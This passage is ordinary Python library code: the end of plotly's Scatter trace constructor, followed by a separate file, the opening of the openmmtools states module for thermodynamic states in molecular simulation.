source reference on Chart Studio Cloud for hovertemplate . hovertext Sets hover text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. To be seen, trace `hoverinfo` must contain a "text" flag. hovertextsrc Sets the source reference on Chart Studio Cloud for hovertext . ids Assigns id labels to each datum. These ids for object constancy of data points during animation. Should be an array of strings, not numbers or any other type. idssrc Sets the source reference on Chart Studio Cloud for ids . legendgroup Sets the legend group for this trace. Traces part of the same legend group hide/show at the same time when toggling legend items. line :class:`plotly.graph_objects.scatter.Line` instance or dict with compatible properties marker :class:`plotly.graph_objects.scatter.Marker` instance or dict with compatible properties meta Assigns extra meta information associated with this trace that can be used in various text attributes. Attributes such as trace `name`, graph, axis and colorbar `title.text`, annotation `text` `rangeselector`, `updatemenues` and `sliders` `label` text all support `meta`. To access the trace `meta` values in an attribute in the same trace, simply use `%{meta[i]}` where `i` is the index or key of the `meta` item in question. To access trace `meta` in layout attributes, use `%{data[n[.meta[i]}` where `i` is the index or key of the `meta` and `n` is the trace index. metasrc Sets the source reference on Chart Studio Cloud for meta . mode Determines the drawing mode for this scatter trace. If the provided `mode` includes "text" then the `text` elements appear at the coordinates. Otherwise, the `text` elements appear on hover. If there are less than 20 points and the trace is not stacked then the default is "lines+markers". Otherwise, "lines". name Sets the trace name. The trace name appear as the legend item and on hover. opacity Sets the opacity of the trace. orientation Only relevant when `stackgroup` is used, and only the first `orientation` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the stacking direction. With "v" ("h"), the y (x) values of subsequent traces are added. Also affects the default value of `fill`. r r coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the radial coordinatesfor legacy polar chart only. rsrc Sets the source reference on Chart Studio Cloud for r . selected :class:`plotly.graph_objects.scatter.Selected` instance or dict with compatible properties selectedpoints Array containing integer indices of selected points. Has an effect only for traces that support selections. Note that an empty array means an empty selection where the `unselected` are turned on for all points, whereas, any other non-array values means no selection all where the `selected` and `unselected` styles have no effect. showlegend Determines whether or not an item corresponding to this trace is shown in the legend. stackgaps Only relevant when `stackgroup` is used, and only the first `stackgaps` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Determines how we handle locations at which other traces in this group have data but this one does not. With *infer zero* we insert a zero at these locations. With "interpolate" we linearly interpolate between existing values, and extrapolate a constant beyond the existing values. stackgroup Set several scatter traces (on the same subplot) to the same stackgroup in order to add their y values (or their x values if `orientation` is "h"). If blank or omitted this trace will not be stacked. Stacking also turns `fill` on by default, using "tonexty" ("tonextx") if `orientation` is "h" ("v") and sets the default `mode` to "lines" irrespective of point count. You can only stack on a numeric (linear or log) axis. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill-linked traces are not already consecutive, the later ones will be pushed down in the drawing order. stream :class:`plotly.graph_objects.scatter.Stream` instance or dict with compatible properties t t coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the angular coordinatesfor legacy polar chart only. text Sets text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. If trace `hoverinfo` contains a "text" flag and "hovertext" is not set, these elements will be seen in the hover labels. textfont Sets the text font. textposition Sets the positions of the `text` elements with respects to the (x,y) coordinates. textpositionsrc Sets the source reference on Chart Studio Cloud for textposition . textsrc Sets the source reference on Chart Studio Cloud for text . texttemplate Template string used for rendering the information text that appear on points. Note that this will override `textinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time-format's syntax %{variable|d3-time- format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. Every attributes that can be specified per-point (the ones that are `arrayOk: true`) are available. texttemplatesrc Sets the source reference on Chart Studio Cloud for texttemplate . tsrc Sets the source reference on Chart Studio Cloud for t . uid Assign an id to this trace, Use this to provide object constancy between traces during animations and transitions. uirevision Controls persistence of some user-driven changes to the trace: `constraintrange` in `parcoords` traces, as well as some `editable: true` modifications such as `name` and `colorbar.title`. Defaults to `layout.uirevision`. Note that other user-driven trace attribute changes are controlled by `layout` attributes: `trace.visible` is controlled by `layout.legend.uirevision`, `selectedpoints` is controlled by `layout.selectionrevision`, and `colorbar.(x|y)` (accessible with `config: {editable: true}`) is controlled by `layout.editrevision`. Trace changes are tracked by `uid`, which only falls back on trace index if no `uid` is provided. So if your app can add/remove traces before the end of the `data` array, such that the same trace has a different index, you can still preserve user-driven changes if you give each trace a `uid` that stays with it as it moves. unselected :class:`plotly.graph_objects.scatter.Unselected` instance or dict with compatible properties visible Determines whether or not this trace is visible. If "legendonly", the trace is not drawn, but can appear as a legend item (provided that the legend itself is visible). x Sets the x coordinates. x0 Alternate to `x`. Builds a linear space of x coordinates. Use with `dx` where `x0` is the starting coordinate and `dx` the step. xaxis Sets a reference between this trace's x coordinates and a 2D cartesian x axis. If "x" (the default value), the x coordinates refer to `layout.xaxis`. If "x2", the x coordinates refer to `layout.xaxis2`, and so on. xcalendar Sets the calendar system to use with `x` date data. xsrc Sets the source reference on Chart Studio Cloud for x . y Sets the y coordinates. y0 Alternate to `y`. Builds a linear space of y coordinates. Use with `dy` where `y0` is the starting coordinate and `dy` the step. yaxis Sets a reference between this trace's y coordinates and a 2D cartesian y axis. If "y" (the default value), the y coordinates refer to `layout.yaxis`. If "y2", the y coordinates refer to `layout.yaxis2`, and so on. ycalendar Sets the calendar system to use with `y` date data. ysrc Sets the source reference on Chart Studio Cloud for y . Returns ------- Scatter """ super(Scatter, self).__init__("scatter") if "_parent" in kwargs: self._parent = kwargs["_parent"] return # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.Scatter constructor must be a dict or an instance of :class:`plotly.graph_objs.Scatter`""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) self._validate = kwargs.pop("_validate", True) # Populate data dict with properties # ---------------------------------- _v = arg.pop("cliponaxis", None) _v = cliponaxis if cliponaxis is not None else _v if _v is not None: self["cliponaxis"] = _v _v = arg.pop("connectgaps", None) _v = connectgaps if connectgaps is not None else _v if _v is not None: self["connectgaps"] = _v _v = arg.pop("customdata", None) _v = customdata if customdata is not None else _v if _v is not None: self["customdata"] = _v _v = arg.pop("customdatasrc", None) _v = customdatasrc if customdatasrc is not None else _v if _v is not None: self["customdatasrc"] = _v _v = arg.pop("dx", None) _v = dx if dx is not None else _v if _v is not None: self["dx"] = _v _v = arg.pop("dy", None) _v = dy if dy is not None else _v if _v is not None: self["dy"] = _v _v = arg.pop("error_x", None) _v = error_x if error_x is not None else _v if _v is not None: self["error_x"] = _v _v = arg.pop("error_y", None) _v = error_y if error_y is not None else _v if _v is not None: self["error_y"] = _v _v = arg.pop("fill", None) _v = fill if fill is not None else _v if _v is not None: self["fill"] = _v _v = arg.pop("fillcolor", None) _v = fillcolor if fillcolor is not None else _v if _v is not None: self["fillcolor"] = _v _v = arg.pop("groupnorm", None) _v = groupnorm if groupnorm is not None else _v if _v is not None: self["groupnorm"] = _v _v = arg.pop("hoverinfo", None) _v = hoverinfo if hoverinfo is not None else _v if _v is not None: self["hoverinfo"] = _v _v = arg.pop("hoverinfosrc", None) _v = hoverinfosrc if hoverinfosrc is not None else _v if _v is not None: self["hoverinfosrc"] = _v _v = arg.pop("hoverlabel", None) _v = hoverlabel if hoverlabel is not None else _v if _v is not None: self["hoverlabel"] = _v _v = arg.pop("hoveron", None) _v = hoveron if hoveron is not None else _v if _v is not None: self["hoveron"] = _v _v = arg.pop("hovertemplate", None) _v = hovertemplate if hovertemplate is not None else _v if _v is not None: self["hovertemplate"] = _v _v = arg.pop("hovertemplatesrc", None) _v = hovertemplatesrc if hovertemplatesrc is not None else _v if _v is not None: self["hovertemplatesrc"] = _v _v = arg.pop("hovertext", None) _v = hovertext if hovertext is not None else _v if _v is not None: self["hovertext"] = _v _v = arg.pop("hovertextsrc", None) _v = hovertextsrc if hovertextsrc is not None else _v if _v is not None: self["hovertextsrc"] = _v _v = arg.pop("ids", None) _v = ids if ids is not None else _v if _v is not None: self["ids"] = _v _v = arg.pop("idssrc", None) _v = idssrc if idssrc is not None else _v if _v is not None: self["idssrc"] = _v _v = arg.pop("legendgroup", None) _v = legendgroup if legendgroup is not None else _v if _v is not None: self["legendgroup"] = _v _v = arg.pop("line", None) _v = line if line is not None else _v if _v is not None: self["line"] = _v _v = arg.pop("marker", None) _v = marker if marker is not None else _v if _v is not None: self["marker"] = _v _v = arg.pop("meta", None) _v = meta if meta is not None else _v if _v is not None: self["meta"] = _v _v = arg.pop("metasrc", None) _v = metasrc if metasrc is not None else _v if _v is not None: self["metasrc"] = _v _v = arg.pop("mode", None) _v = mode if mode is not None else _v if _v is not None: self["mode"] = _v _v = arg.pop("name", None) _v = name if name is not None else _v if _v is not None: self["name"] = _v _v = arg.pop("opacity", None) _v = opacity if opacity is not None else _v if _v is not None: self["opacity"] = _v _v = arg.pop("orientation", None) _v = orientation if orientation is not None else _v if _v is not None: self["orientation"] = _v _v = arg.pop("r", None) _v = r if r is not None else _v if _v is not None: self["r"] = _v _v = arg.pop("rsrc", None) _v = rsrc if rsrc is not None else _v if _v is not None: self["rsrc"] = _v _v = arg.pop("selected", None) _v = selected if selected is not None else _v if _v is not None: self["selected"] = _v _v = arg.pop("selectedpoints", None) _v = selectedpoints if selectedpoints is not None else _v if _v is not None: self["selectedpoints"] = _v _v = arg.pop("showlegend", None) _v = showlegend if showlegend is not None else _v if _v is not None: self["showlegend"] = _v _v = arg.pop("stackgaps", None) _v = stackgaps if stackgaps is not None else _v if _v is not None: self["stackgaps"] = _v _v = arg.pop("stackgroup", None) _v = stackgroup if stackgroup is not None else _v if _v is not None: self["stackgroup"] = _v _v = arg.pop("stream", None) _v = stream if stream is not None else _v if _v is not None: self["stream"] = _v _v = arg.pop("t", None) _v = t if t is not None else _v if _v is not None: self["t"] = _v _v = arg.pop("text", None) _v = text if text is not None else _v if _v is not None: self["text"] = _v _v = arg.pop("textfont", None) _v = textfont if textfont is not None else _v if _v is not None: self["textfont"] = _v _v = arg.pop("textposition", None) _v = textposition if textposition is not None else _v if _v is not None: self["textposition"] = _v _v = arg.pop("textpositionsrc", None) _v = textpositionsrc if textpositionsrc is not None else _v if _v is not None: self["textpositionsrc"] = _v _v = arg.pop("textsrc", None) _v = textsrc if textsrc is not None else _v if _v is not None: self["textsrc"] = _v _v = arg.pop("texttemplate", None) _v = texttemplate if texttemplate is not None else _v if _v is not None: self["texttemplate"] = _v _v = arg.pop("texttemplatesrc", None) _v = texttemplatesrc if texttemplatesrc is not None else _v if _v is not None: self["texttemplatesrc"] = _v _v = arg.pop("tsrc", None) _v = tsrc if tsrc is not None else _v if _v is not None: self["tsrc"] = _v _v = arg.pop("uid", None) _v = uid if uid is not None else _v if _v is not None: self["uid"] = _v _v = arg.pop("uirevision", None) _v = uirevision if uirevision is not None else _v if _v is not None: self["uirevision"] = _v _v = arg.pop("unselected", None) _v = unselected if unselected is not None else _v if _v is not None: self["unselected"] = _v _v = arg.pop("visible", None) _v = visible if visible is not None else _v if _v is not None: self["visible"] = _v _v = arg.pop("x", None) _v = x if x is not None else _v if _v is not None: self["x"] = _v _v = arg.pop("x0", None) _v = x0 if x0 is not None else _v if _v is not None: self["x0"] = _v _v = arg.pop("xaxis", None) _v = xaxis if xaxis is not None else _v if _v is not None: self["xaxis"] = _v _v = arg.pop("xcalendar", None) _v = xcalendar if xcalendar is not None else _v if _v is not None: self["xcalendar"] = _v _v = arg.pop("xsrc", None) _v = xsrc if xsrc is not None else _v if _v is not None: self["xsrc"] = _v _v = arg.pop("y", None) _v = y if y is not None else _v if _v is not None: self["y"] = _v _v = arg.pop("y0", None) _v = y0 if y0 is not None else _v if _v is not None: self["y0"] = _v _v = arg.pop("yaxis", None) _v = yaxis if yaxis is not None else _v if _v is not None: self["yaxis"] = _v _v = arg.pop("ycalendar", None) _v = ycalendar if ycalendar is not None else _v if _v is not None: self["ycalendar"] = _v _v = arg.pop("ysrc", None) _v = ysrc if ysrc is not None else _v if _v is not None: self["ysrc"] = _v # Read-only literals # ------------------ self._props["type"] = "scatter" arg.pop("type", None) # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False
codeparrot/github-code-clean
#!/usr/bin/env python # ============================================================================= # MODULE DOCSTRING # ============================================================================= """ Classes that represent a portion of the state of an OpenMM context. """ # ============================================================================= # GLOBAL IMPORTS # ============================================================================= import abc import sys import copy import zlib import inspect import weakref import collections import numpy as np try: import openmm from openmm import unit except ImportError: # OpenMM < 7.6 from simtk import openmm, unit from openmmtools import utils, integrators, forces, constants # ============================================================================= # MODULE FUNCTIONS # ============================================================================= def create_thermodynamic_state_protocol(system, protocol, constants=None, composable_states=None): """An optimized utility function to create a list of thermodynamic states. The method takes advantage of the fact that copying a thermodynamic state does not require a copy of the OpenMM ``System`` object and that setting parameters that are controlled by the ``(Compound)ThermodynamicState`` is effectively instantaneous. Parameters ---------- reference_state : ThermodynamicState or openmm.System ``ThermodynamicState`` or The OpenMM ``System``. If a ``System`` the constants must specify the temperature. protocol : dict: str -> list A dictionary associating the thermodynamic parameters to a list of values. All the lists must have the same length. constants : dict: str -> list A dictionary associating a thermodnamic parameter to a value that must remain constant along the protocol. composable_states : IComposableState or list, optional If specified, the function returns a list of ``CompoundThermodynamicState`` instead of simple ``ThermodynamicState`` objects. Returns ------- states : list of ``ThermodynamicState`` or ``CompoundThermodynamicState`` The sequence of thermodynamic states for the given protocol. Examples -------- >>> from openmm import unit >>> from openmmtools import testsystems >>> system = testsystems.AlanineDipeptideExplicit().system >>> protocol = {'temperature': [300, 310, 330]*unit.kelvin, ... 'pressure': [1.0, 1.1, 1.2]*unit.atmosphere} >>> states = create_thermodynamic_state_protocol(system, protocol) >>> len(states) 3 """ # Check that all elements of the protocol have the same length. if len(protocol) == 0: raise ValueError('No protocol has been specified.') values_lengths = [len(values) for values in protocol.values()] if len(set(values_lengths)) != 1: raise ValueError('The protocol parameter values have different ' 'lengths!\n{}'.format(protocol)) protocol_length = values_lengths[0] # Handle default value. if constants is None: constants = {} # Check that the user didn't specify the same parameter as both # a constant and a protocol variable. if len(set(constants).intersection(set(protocol))) != 0: raise ValueError('Some parameters have been specified both ' 'in constants and protocol.') # Augument protocol to include the constants values as well. for constant_parameter, value in constants.items(): protocol[constant_parameter] = [value for _ in range(protocol_length)] # Create the reference ThermodynamicState. if isinstance(system, openmm.System): # Make sure the temperature is defined somewhere. try: temperature = constants['temperature'] except KeyError: try: temperature = protocol['temperature'][0] except KeyError: raise ValueError('If a System is passed the list of ' 'constants must specify the temperature.') thermo_state = ThermodynamicState(system, temperature=temperature) else: thermo_state = system # Check if we need to create a reference CompoundThermodynamicState. # Cast a single ComposableState into a list. if isinstance(composable_states, IComposableState): composable_states = [composable_states] if composable_states is not None: thermo_state = CompoundThermodynamicState(thermo_state, composable_states) # Create all the states. Copying a state is much faster than # initializing one because we don't have to copy System object. states = [copy.deepcopy(thermo_state) for _ in range(protocol_length)] # Assign protocol parameters. protocol_keys, protocol_values = zip(*protocol.items()) for state_idx, state_values in enumerate(zip(*protocol_values)): state = states[state_idx] for lambda_key, lambda_value in zip(protocol_keys, state_values): if hasattr(state, lambda_key): setattr(state, lambda_key, lambda_value) else: raise AttributeError('{} object does not have protocol attribute ' '{}'.format(type(state), lambda_key)) return states def reduced_potential_at_states(sampler_state, thermodynamic_states, context_cache): """Compute the reduced potential of a single configuration at multiple thermodynamic states. Parameters ---------- sampler_state : SamplerState The state holding the coordinates used to compute the potential. thermodynamic_states : list of ``ThermodynamicState`` The list of thermodynamic states at which to compute the potential. context_cache : cache.ContextCache The context cache to use to request ``Context`` objects. Returns ------- reduced_potentials : np.ndarray of float ``reduced_potentials[i]`` is the unit-less reduced potentials (i.e., in kT units) of state ``thermodynamic_states[i]``. """ reduced_potentials = np.zeros(len(thermodynamic_states)) # Group thermodynamic states by compatibility. compatible_groups, original_indices = group_by_compatibility(thermodynamic_states) # Compute the reduced potentials of all the compatible states. for compatible_group, state_indices in zip(compatible_groups, original_indices): # Get the context, any Integrator works. context, integrator = context_cache.get_context(compatible_group[0]) # Update positions and box vectors. We don't need # to set Context velocities for the potential. sampler_state.apply_to_context(context, ignore_velocities=True) # Compute and update the reduced potentials. compatible_energies = ThermodynamicState.reduced_potential_at_states( context, compatible_group) for energy_idx, state_idx in enumerate(state_indices): reduced_potentials[state_idx] = compatible_energies[energy_idx] return reduced_potentials def group_by_compatibility(thermodynamic_states): """Utility function to split the thermodynamic states by compatibility. Parameters ---------- thermodynamic_states : list of ThermodynamicState The thermodynamic state to group by compatibility. Returns ------- compatible_groups : list of list of ThermodynamicState The states grouped by compatibility. original_indices: list of list of int The indices of the ThermodynamicStates in theoriginal list. """ compatible_groups = [] original_indices = [] for state_idx, state in enumerate(thermodynamic_states): # Search for compatible group. found_compatible = False for group, indices in zip(compatible_groups, original_indices): if state.is_state_compatible(group[0]): found_compatible = True group.append(state) indices.append(state_idx) # Create new one. if not found_compatible: compatible_groups.append([state]) original_indices.append([state_idx]) return compatible_groups, original_indices def _box_vectors_volume(box_vectors): """Return the volume of the box vectors. Support also triclinic boxes. Parameters ---------- box_vectors : openmm.unit.Quantity Vectors defining the box. Returns ------- volume : openmm.unit.Quantity The box volume in units of length^3. Examples -------- Compute the volume of a Lennard-Jones fluid at 100 K and 1 atm. >>> from openmmtools import testsystems >>> system = testsystems.LennardJonesFluid(nparticles=100).system >>> v = _box_vectors_volume(system.getDefaultPeriodicBoxVectors()) """ a, b, c = box_vectors box_matrix = np.array([a/a.unit, b/a.unit, c/a.unit]) return np.linalg.det(box_matrix) * a.unit**3 def _box_vectors_area_xy(box_vectors): """Return the xy-area of the box vectors. Parameters ---------- box_vectors : openmm.unit.Quantity Vectors defining the box. Returns ------- area_xy : openmm.unit.Quantity The box area in units of length^2. """ return box_vectors[0][0] * box_vectors[1][1] # ============================================================================= # CUSTOM EXCEPTIONS # ============================================================================= class ThermodynamicsError(Exception): """Custom ThermodynamicState error. The exception defines error codes as class constants. Currently defined constants are MULTIPLE_BAROSTATS, UNSUPPORTED_BAROSTAT, INCONSISTENT_BAROSTAT, BAROSTATED_NONPERIODIC, and INCONSISTENT_INTEGRATOR. Parameters ---------- code : ThermodynamicsError.Code The error code. Attributes ---------- code : ThermodynamicsError.Code The code associated to this error. Examples -------- >>> raise ThermodynamicsError(ThermodynamicsError.MULTIPLE_BAROSTATS) Traceback (most recent call last): ... openmmtools.states.ThermodynamicsError: System has multiple barostats. """ # TODO substitute this with enum when we drop Python 2.7 support (MULTIPLE_THERMOSTATS, NO_THERMOSTAT, NONE_TEMPERATURE, INCONSISTENT_THERMOSTAT, MULTIPLE_BAROSTATS, NO_BAROSTAT, UNSUPPORTED_BAROSTAT, UNSUPPORTED_ANISOTROPIC_BAROSTAT, SURFACE_TENSION_NOT_SUPPORTED, INCONSISTENT_BAROSTAT, BAROSTATED_NONPERIODIC, INCONSISTENT_INTEGRATOR, INCOMPATIBLE_SAMPLER_STATE, INCOMPATIBLE_ENSEMBLE) = range(14) error_messages = { MULTIPLE_THERMOSTATS: "System has multiple thermostats.", NO_THERMOSTAT: "System does not have a thermostat specifying the temperature.", NONE_TEMPERATURE: "Cannot set temperature of the thermodynamic state to None.", INCONSISTENT_THERMOSTAT: "System thermostat is inconsistent with thermodynamic state.", MULTIPLE_BAROSTATS: "System has multiple barostats.", UNSUPPORTED_BAROSTAT: "Found unsupported barostat {} in system.", UNSUPPORTED_ANISOTROPIC_BAROSTAT: "MonteCarloAnisotropicBarostat is only supported if the pressure along all scaled axes is the same.", SURFACE_TENSION_NOT_SUPPORTED: "Surface tension can only be set for states that have a system with a MonteCarloMembraneBarostat.", NO_BAROSTAT: "System does not have a barostat specifying the pressure.", INCONSISTENT_BAROSTAT: "System barostat is inconsistent with thermodynamic state.", BAROSTATED_NONPERIODIC: "Non-periodic systems cannot have a barostat.", INCONSISTENT_INTEGRATOR: "Integrator is coupled to a heat bath at a different temperature.", INCOMPATIBLE_SAMPLER_STATE: "The sampler state has a different number of particles.", INCOMPATIBLE_ENSEMBLE: "Cannot apply to a context in a different thermodynamic ensemble." } def __init__(self, code, *args): error_message = self.error_messages[code].format(*args) super(ThermodynamicsError, self).__init__(error_message) self.code = code class SamplerStateError(Exception): """Custom SamplerState error. The exception defines error codes as class constants. The only currently defined constant is INCONSISTENT_VELOCITIES. Parameters ---------- code : SamplerStateError.Code The error code. Attributes ---------- code : SamplerStateError.Code The code associated to this error. Examples -------- >>> raise SamplerStateError(SamplerStateError.INCONSISTENT_VELOCITIES) Traceback (most recent call last): ... openmmtools.states.SamplerStateError: Velocities have different length than positions. """ # TODO substitute this with enum when we drop Python 2.7 support (INCONSISTENT_VELOCITIES, INCONSISTENT_POSITIONS) = range(2) error_messages = { INCONSISTENT_VELOCITIES: "Velocities have different length than positions.", INCONSISTENT_POSITIONS: "Specified positions with inconsistent number of particles." } def __init__(self, code, *args): error_message = self.error_messages[code].format(*args) super(SamplerStateError, self).__init__(error_message) self.code = code # ============================================================================= # THERMODYNAMIC STATE # ============================================================================= class ThermodynamicState(object): """Thermodynamic state of a system. Represent the portion of the state of a Context that does not change with integration. Its main objectives are to wrap an OpenMM system object to easily maintain a consistent thermodynamic state. It can be used to create new OpenMM Contexts, or to convert an existing Context to this particular thermodynamic state. NVT, NPT and NPgammaT ensembles are supported. The temperature must be specified in the constructor, either implicitly via a thermostat force in the system, or explicitly through the temperature parameter, which overrides an eventual thermostat indication. To set a ThermodynamicState up in the NPgammaT ensemble, the system passed to the constructor has to have a MonteCarloMembraneBarostat. To set a ThermodynamicState up with anisotropic pressure control, the system passed to the constructor has to have a MonteCarloAnisotropicBarostat. Currently the MonteCarloAnisotropicBarostat is only supported if the pressure is equal for all axes that are under pressure control. Parameters ---------- system : openmm.System An OpenMM system in a particular thermodynamic state. temperature : openmm.unit.Quantity, optional The temperature for the system at constant temperature. If a MonteCarloBarostat is associated to the system, its temperature will be set to this. If None, the temperature is inferred from the system thermostat. pressure : openmm.unit.Quantity, optional The pressure for the system at constant pressure. If this is specified, a MonteCarloBarostat is added to the system, or just set to this pressure in case it already exists. If None, the pressure is inferred from the system barostat, and NVT ensemble is assumed if there is no barostat. surface_tension : openmm.unit.Quantity, optional The surface tension for the system at constant surface tension. If this is specified, the system must have a MonteCarloMembraneBarostat. If None, the surface_tension is inferred from the barostat and NPT/NVT ensemble is assumed if there is no MonteCarloMembraneBarostat. Attributes ---------- system temperature pressure surface_tension volume n_particles Notes ----- This state object cannot describe states obeying non-Boltzamnn statistics, such as Tsallis statistics. Examples -------- Specify an NVT state for a water box at 298 K. >>> from openmmtools import testsystems >>> temperature = 298.0*unit.kelvin >>> waterbox = testsystems.WaterBox(box_edge=10*unit.angstroms, ... cutoff=4*unit.angstroms).system >>> state = ThermodynamicState(system=waterbox, temperature=temperature) In an NVT ensemble volume is constant and pressure is None. >>> state.volume Quantity(value=1.0, unit=nanometer**3) >>> state.pressure is None True Convert this to an NPT state at 298 K and 1 atm pressure. This operation automatically adds a MonteCarloBarostat to the system. >>> pressure = 1.0*unit.atmosphere >>> state.pressure = pressure >>> state.pressure Quantity(value=1.0, unit=atmosphere) >>> state.volume is None True You cannot set a non-periodic system at constant pressure >>> nonperiodic_system = testsystems.TolueneVacuum().system >>> state = ThermodynamicState(nonperiodic_system, temperature=300*unit.kelvin, ... pressure=1.0*unit.atmosphere) Traceback (most recent call last): ... openmmtools.states.ThermodynamicsError: Non-periodic systems cannot have a barostat. When temperature and/or pressure are not specified (i.e. they are None) ThermodynamicState tries to infer them from a thermostat or a barostat. >>> state = ThermodynamicState(system=waterbox) Traceback (most recent call last): ... openmmtools.states.ThermodynamicsError: System does not have a thermostat specifying the temperature. >>> thermostat = openmm.AndersenThermostat(200.0*unit.kelvin, 1.0/unit.picosecond) >>> force_id = waterbox.addForce(thermostat) >>> state = ThermodynamicState(system=waterbox) >>> state.pressure is None True >>> state.temperature Quantity(value=200.0, unit=kelvin) >>> barostat = openmm.MonteCarloBarostat(1.0*unit.atmosphere, 200.0*unit.kelvin) >>> force_id = waterbox.addForce(barostat) >>> state = ThermodynamicState(system=waterbox) >>> state.pressure Quantity(value=1.01325, unit=bar) >>> state.temperature Quantity(value=200.0, unit=kelvin) """ # ------------------------------------------------------------------------- # Public interface # ------------------------------------------------------------------------- def __init__(self, system, temperature=None, pressure=None, surface_tension=None): self._initialize(system, temperature, pressure, surface_tension) @property def system(self): """The system in this thermodynamic state. The returned system is a copy and can be modified without altering the internal state of ThermodynamicState. In order to ensure a consistent thermodynamic state, the system has a Thermostat force. You can use `get_system()` to obtain a copy of the system without the thermostat. The method `create_context()` then takes care of removing the thermostat when an integrator with a coupled heat bath is used (e.g. `LangevinIntegrator`). It can be set only to a system which is consistent with the current thermodynamic state. Use `set_system()` if you want to correct the thermodynamic state of the system automatically before assignment. See Also -------- ThermodynamicState.get_system ThermodynamicState.set_system ThermodynamicState.create_context """ return self.get_system() @system.setter def system(self, value): self.set_system(value) def set_system(self, system, fix_state=False): """Manipulate and set the system. With default arguments, this is equivalent to using the system property, which raises an exception if the thermostat and the barostat are not configured according to the thermodynamic state. With this method it is possible to adjust temperature and pressure of the system to make the assignment possible, without manually configuring thermostat and barostat. Parameters ---------- system : openmm.System The system to set. fix_state : bool, optional If True, a thermostat is added to the system (if not already present) and set to the correct temperature. If this state is in NPT ensemble, a barostat is added or configured if it exist already. If False, this simply check that thermostat and barostat are correctly configured without modifying them. Default is False. Raises ------ ThermodynamicsError If the system after the requested manipulation is still in an incompatible state. Examples -------- The constructor adds a thermostat and a barostat to configure the system in an NPT ensemble. >>> from openmmtools import testsystems >>> alanine = testsystems.AlanineDipeptideExplicit() >>> state = ThermodynamicState(alanine.system, temperature=300*unit.kelvin, ... pressure=1.0*unit.atmosphere) If we try to set a system not in NPT ensemble, an error occur. >>> state.system = alanine.system Traceback (most recent call last): ... openmmtools.states.ThermodynamicsError: System does not have a thermostat specifying the temperature. We can fix both thermostat and barostat while setting the system. >>> state.set_system(alanine.system, fix_state=True) """ # Copy the system to avoid modifications during standardization. system = copy.deepcopy(system) self._unsafe_set_system(system, fix_state) def get_system(self, remove_thermostat=False, remove_barostat=False): """Manipulate and return the system. With default arguments, this is equivalent as the system property. By setting the arguments it is possible to obtain a modified copy of the system without the thermostat or the barostat. Parameters ---------- remove_thermostat : bool If True, the system thermostat is removed. remove_barostat : bool If True, the system barostat is removed. Returns ------- system : openmm.System The system of this ThermodynamicState. Examples -------- The constructor adds a thermostat and a barostat to configure the system in an NPT ensemble. >>> from openmmtools import testsystems >>> alanine = testsystems.AlanineDipeptideExplicit() >>> state = ThermodynamicState(alanine.system, temperature=300*unit.kelvin, ... pressure=1.0*unit.atmosphere) The system property returns a copy of the system with the added thermostat and barostat. >>> system = state.system >>> [force.__class__.__name__ for force in system.getForces() ... if 'Thermostat' in force.__class__.__name__] ['AndersenThermostat'] We can remove them while getting the arguments with >>> system = state.get_system(remove_thermostat=True, remove_barostat=True) >>> [force.__class__.__name__ for force in system.getForces() ... if 'Thermostat' in force.__class__.__name__] [] """ system = copy.deepcopy(self._standard_system) # Remove or configure standard pressure barostat. if remove_barostat: self._pop_barostat(system) else: # Set pressure of standard barostat. self._set_system_pressure(system, self.pressure) self._set_system_surface_tension(system, self.surface_tension) # Set temperature of standard thermostat and barostat. if not (remove_barostat and remove_thermostat): self._set_system_temperature(system, self.temperature) # Remove or configure standard temperature thermostat. if remove_thermostat: self._remove_thermostat(system) return system @property def temperature(self): """Constant temperature of the thermodynamic state.""" return self._temperature @temperature.setter def temperature(self, value): if value is None: raise ThermodynamicsError(ThermodynamicsError.NONE_TEMPERATURE) self._temperature = value @property def kT(self): """Thermal energy per mole.""" return constants.kB * self.temperature @property def beta(self): """Thermodynamic beta in units of mole/energy.""" return 1.0 / self.kT @property def pressure(self): """Constant pressure of the thermodynamic state. If the pressure is allowed to fluctuate, this is None. Setting this will automatically add/configure a barostat to the system. If it is set to None, the barostat will be removed. """ return self._pressure @pressure.setter def pressure(self, new_pressure): old_pressure = self._pressure self._pressure = new_pressure # If we change ensemble, we need to modify the standard system. if (new_pressure is None) != (old_pressure is None): # The barostat will be removed/added since fix_state is True. try: self.set_system(self._standard_system, fix_state=True) except ThermodynamicsError: # Restore old pressure to keep object consistent. self._pressure = old_pressure raise @property def barostat(self): """The barostat associated to the system. Note that this is only a copy of the barostat, and you will need to set back the ThermodynamicState.barostat property for the changes to take place internally. If the pressure is allowed to fluctuate, this is None. Normally, you should only need to access the pressure and temperature properties, but this allows you to modify other parameters of the MonteCarloBarostat (e.g. frequency) after initialization. Setting this to None will place the system in an NVT ensemble. """ # Retrieve the barostat with standard temperature/pressure, then # set temperature and pressure to the thermodynamic state values. barostat = copy.deepcopy(self._find_barostat(self._standard_system)) if barostat is not None: # NPT ensemble. self._set_barostat_pressure(barostat, self.pressure) self._set_barostat_temperature(barostat, self.temperature) if self.surface_tension is not None: self._set_barostat_surface_tension(barostat, self.surface_tension) return barostat @barostat.setter def barostat(self, new_barostat): # If None, just remove the barostat from the standard system. if new_barostat is None: self.pressure = None self.surface_tension = None return # Remember old pressure and surface tension in case something goes 